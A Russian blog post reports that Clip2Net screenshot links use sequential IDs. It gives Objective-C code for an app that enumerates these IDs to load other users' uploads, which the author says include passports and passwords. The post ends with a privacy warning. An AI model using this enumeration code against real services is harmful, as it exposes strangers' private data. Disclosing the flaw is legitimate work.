Особенность Clip2Net дает доступ к персональным данным

в 7:39, , рубрики: информационная безопасность, ненормальное программирование, файлохранилище, метки: , ,

image

Вступление

Добрый день, дорогой хабр!
Один из моих знакомых, с которым я работаю, часто использует сервис Clip2Net. Это удобно: делаешь скриншот, и он автоматически загружается в сеть, а ссылочка сразу идет в буфер обмена. И вот слал он мне скриншоты, слал, пока я не заметил одну интересную вещь. Оказалось, ссылки имели нечто общее, почти неуловимое глазу:

clip2net.com/s/2U4cw
clip2net.com/s/2U4cx
clip2net.com/s/2U4bA

А вы заметили приятную плюшку? Исходный код парсера картинок + разбор составляющих под катом.

Модель парсера

Я прекрасно понимаю, что просто подгружать сайт полностью не есть парсинг, но я буду называть мой говнокод набросок приложения именно парсером.
И так, мне надоело подбирать URL'ы в ручную и я решил написать парсер. Но, что же делать? Ведь я знаю на приличном уровне только Objective C. Так что приложение (ссылки ниже) пришлось писать для Mac OS и iPad (у iPhone слишком маленький экран). Да и я помню, как был обижен, когда не удалось запустить похожее приложение под Маком. Пришло время действовать.
Открыв Xcode я набросал небольшой UI для приложения и занялся простым методом подбора ссылок.

Присмотревшись к ссылкам, я наконец-то понял: они идут по-порядку! Никакого великого рандома, уважаемый пользователь. Если Вы выкладываете подборку страниц своего паспорта — они пойдут в алфавитном порядке. Что же, давайте по очереди перебирать буквы? Ан нет! Оказалось, что такие комбинации, как AAaaA, не работают. В то же время, регистр играет роль, то есть clip2net.com/s/2U4cw и clip2net.com/s/2U4cW — это разные ссылки и разные картинки! Вот это раздолье!
«Имя» картинки состоит из 5 символов: буквы и цифры. Если правильно подобрать первые 3 символа, то оставшиеся можно просто перебирать: почти везде будут веселые картинки. Поэтому я решил дать юзеру выбор первых 3х символов (ввод в текстовое поле), а остальное перебирать при нажатии на кнопку «Next». Кнопка «Reset» обнуляет значение двух символов до «aa». Цифры решил не перебирать — уж слишком много попадалось «404».

Немного кода!

Добро пожаловать в дебри моего 5-ти минутного кода.

Жми меня

- (IBAction)buttonPressed:(id)sender{
    NSString *textFieldValue = teextField.text;
    NSString *url = [NSString stringWithFormat:@"http://clip2net.com/s/%@%@%@",textFieldValue,[self getLetter],[self getNew]];
    [label setText:url];
    [webBrowsed loadRequest:[NSURLRequest requestWithURL:[NSURL URLWithString:url]]];
}

Здесь все просто: берем текст из текстового поля, запуливаем его и результаты методов getLetter, getNew в URL. Отображаем URL на экране (вдруг что интересное попадется — захочется ссылку скопировать) и загружаем URL в WebView.
Но что за два метода, результат которых мы используем? Это наши две буквы, которые мы подбираем! (Простите меня такого неряху за ужасные названия методов — писал очень быстро)

Жми меня

- (NSString *)getNew {
    if (!firstLetter) {
        firstLetter = 1;
    } else {
        firstLetter = firstLetter + 1;
    }
    return [self getString:firstLetter];
}

- (NSString *)getLetter {
    if (!secondLetter) {
        secondLetter = 1;
    }
    return [self getString:secondLetter];
}

И так, у нас есть две целочисленные переменные, которые принимают значение от 1 до 52 (26 строчных и 26 заглавных). firstLetter — это правая буква, secondLetter — левая. Простите.
Каждое нажатие правая «буква» увеличивается на 1. Про правую букву чуть дальше.

Я победил в состязании говнокодеров!

- (NSString *)getString:(int)number {
    if (number == 1) {
        return @"a";
    } else if (number == 2) {
        return @"b";
    } else if (number == 3) {
        return @"c";
    } else if (number == 4) {
        return @"d";
    } else if (number == 5) {
        return @"e";
    } else if (number == 6) {
        return @"f";
    } else if (number == 7) {
        return @"g";
    } else if (number == 8) {
        return @"h";
    } else if (number == 9) {
        return @"i";
    } else if (number == 10) {
        return @"j";
    } else if (number == 11) {
        return @"k";
    } else if (number == 12) {
        return @"l";
    } else if (number == 13) {
        return @"m";
    } else if (number == 14) {
        return @"n";
    } else if (number == 15) {
        return @"o";
    } else if (number == 16) {
        return @"p";
    } else if (number == 17) {
        return @"q";
    } else if (number == 18) {
        return @"r";
    } else if (number == 19) {
        return @"s";
    } else if (number == 20) {
        return @"t";
    } else if (number == 21) {
        return @"u";
    } else if (number == 22) {
        return @"v";
    } else if (number == 23) {
        return @"w";
    } else if (number == 24) {
        return @"x";
    } else if (number == 25) {
        return @"y";
    } else if (number == 26) {
        return @"z";
    } else if (number == 27) {
        return @"A";
    } else if (number == 28) {
        return @"B";
    } else if (number == 29) {
        return @"C";
    } else if (number == 30) {
        return @"D";
    } else if (number == 31) {
        return @"E";
    } else if (number == 32) {
        return @"F";
    } else if (number == 33) {
        return @"G";
    } else if (number == 34) {
        return @"H";
    } else if (number == 35) {
        return @"I";
    } else if (number == 36) {
        return @"J";
    } else if (number == 37) {
        return @"K";
    } else if (number == 38) {
        return @"L";
    } else if (number == 39) {
        return @"M";
    } else if (number == 40) {
        return @"N";
    } else if (number == 41) {
        return @"O";
    } else if (number == 42) {
        return @"P";
    } else if (number == 43) {
        return @"Q";
    } else if (number == 44) {
        return @"R";
    } else if (number == 45) {
        return @"S";
    } else if (number == 46) {
        return @"T";
    } else if (number == 47) {
        return @"U";
    } else if (number == 48) {
        return @"V";
    } else if (number == 49) {
        return @"W";
    } else if (number == 50) {
        return @"X";
    } else if (number == 51) {
        return @"Y";
    } else if (number == 52) {
        return @"Z";
    } else {
        firstLetter = 0;
        secondLetter = secondLetter + 1;
        return @"a";
    }
}

Когда правая буква доходит до макс. значения — она обнуляет себя и прибавляет единицу к левой букве. Ах да, этот метод возвращает букву по ее номеру. Я уверен, что есть решения проще и короче, но этот метод я написал быстро, вместо того, чтобы тратить время в гугле ;)
Вот и весь парсер.

Что же тут такого интересного?

Люди частенько выкладывают свои личные фото, паспорта, пароли (похоже, для техподдержки), и т.д. и т.п.
В общем, как и в любом другом картинкохранилище.

Немного примеров (все личные данные я замазал):

http://clip2net.com/s/2U3cu

image

http://clip2net.com/s/2U4bv

image

http://clip2net.com/s/2U4cl

image

Заключение

А в чем мораль этой истории? Следите за Вашей личной информацией. Все должно быть под контролем. Выкладываете файлы на дропбоксгитхабiCloud и т.д.? Убедитесь в сохранности Ваших персональных данных!
Кстати, не уверен, стоит ли писать в техподдержку сайта — ведь это стандартный алгоритм укорачивания ссылок для многих ресурсов. Вряд ли его изменят.
Исходники и рабочее приложение под Mac: github.com/backmeupplz/Clip2Net
P.S. если найдете опечаткуошибку в топике, или просто захотите полить меня грязью высказать свое мнение насчет моего кода — добро пожаловать в комментарии!

Список использованной литературы

  • God Hates Us All — Hank Moody
  • How to write — Stephen King

Внимание! Используйте программу на свой страх и риск! Она предназначена только для нахождение собственной информации на Clip2Net! Ни в коем случае не пытайтесь найти чужую персональную информацию при помощи этой программы!

Автор: backmeupplz

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js